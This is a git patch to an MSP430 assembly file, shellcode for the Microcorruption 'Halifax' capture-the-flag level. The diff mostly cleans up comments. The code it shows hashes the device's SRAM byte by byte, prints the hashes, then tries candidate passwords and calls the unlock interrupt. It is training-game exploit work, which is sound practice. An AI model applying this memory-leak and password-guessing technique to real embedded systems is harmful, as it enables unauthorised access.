From 5a1112db8f1ef408cacc13a2e33459b7257caf36 Mon Sep 17 00:00:00 2001
From: John Breaux <j@soft.fish>
Date: Wed, 31 Jul 2024 11:59:45 -0500
Subject: [PATCH] Update shellcode.asm

---
 sample-asm/shellcode.asm | 26 ++++++++++++--------------
 1 file changed, 12 insertions(+), 14 deletions(-)

diff --git a/sample-asm/shellcode.asm b/sample-asm/shellcode.asm
index 0eac4f5..140ec16 100644
--- a/sample-asm/shellcode.asm
+++ b/sample-asm/shellcode.asm
@@ -1,13 +1,11 @@
 ; © 2023-2024 John Breaux
 ; Comtains spoilers for Microcorruption Halifax! Be warned!
-; just hash the first 0x140 B and stick them in memory
 
 
 const:
 .define msize  0x1    ; length of each hash in bytes
 .define hsize  0x3    ; bytes kept per hash (only needs to be 3 to determine 1 byte of sram)
 .define sr_len 0x140  ; number of bytes in sram to dump
-.define ha_len 0x3c0  ; number of bytes in hash array (hsize * sr_len)
 .define haddr  0x7000 ; address of the big hash array
 .define iaddr  0x8000 ; address of the sram input buffer
 .define kaddr  0x9000 ; address of the key buffer
@@ -24,7 +22,7 @@ external_func:
 .define puts            #0x4586
 ; memcpy(void *dest, void *src, size_t len)
 .define memcpy          #0x45a4
-; sha256_internal(void * sram_addr, size_t sr_len, void * sha_buf)
+; sha256_internal(void *sram_addr, size_t sr_len, void * sha_buf)
 .define sha256_internal #0x45b6
 ; memset(void* buf, char value, size_t length)
 .define memset          #0x45c8
@@ -35,10 +33,10 @@ get_sram_hashes:
     mov   #haddr, r13           ; set destination to 0x8000
     sr_loop:
         mov   r11, r15          ; mov addr r15
-        call  sha256_internal   ; <sha256_internal>
+        call  sha256_internal   ; sha256_internal (i, msize, haddr + i * hsize)
         add   #hsize, r13       ; keep 3 bytes of the output
         inc   r11               ; inc r11
-        cmp   #sr_len, r11      ; do that 0x1000 times
+        cmp   #sr_len, r11      ; do that sram_len times
         jnc   sr_loop
 
 print_hex:
@@ -53,27 +51,27 @@ print_hex:
         clrc
         and   #0xf, r14
         mov.b HEX_LUT(r15), r15
-        call  putchar           ; <putchar>
+        call  putchar           ; putchar (HEX_LUT[haddr[i] >> 4])
         mov.b HEX_LUT(r14), r15
-        call  putchar           ; <putchar>
-        inc   r11               ; inc r11
-        cmp   #ha_len, r11      ; do that sram_length*3 times
+        call  putchar           ; putchar (HEX_LUT[haddr[i] & 0xf])
+        inc   r11
+        cmp   #sr_len * hsize, r11  ; do that sram_length * hash_size times
         jnc   ph_loop
 
-    mov.b #0xa, r15             ; '\n'
-    call  #0x4578               ; putchar ('\n')
+    mov.b #'\n', r15            ; '\n'
+    call  putchar               ; putchar ('\n')
 
 
 take_input:
     mov   #sr_len, r14
     mov   #iaddr, r15
-    call  getsn                 ; <getsn>
+    call  getsn                 ; getsn (iaddr, sr_len)
 
 check_all_passwords:
     ;for i in 0..sr_len:
     clr   r9
     pw_loop:
-        ; 	memcpy(kaddr, iaddr + i, len)
+        ; 	memcpy (kaddr, iaddr + i, len)
         mov   #0x10, r13
         mov   #iaddr, r14
         add   r9, r14
@@ -84,7 +82,7 @@ check_all_passwords:
         push  #0x42
         call  INT
         add   #4, sp
-        ; INT(7f)
+        ; INT (7f)
         unlock7f:
         push  #0
         push  #0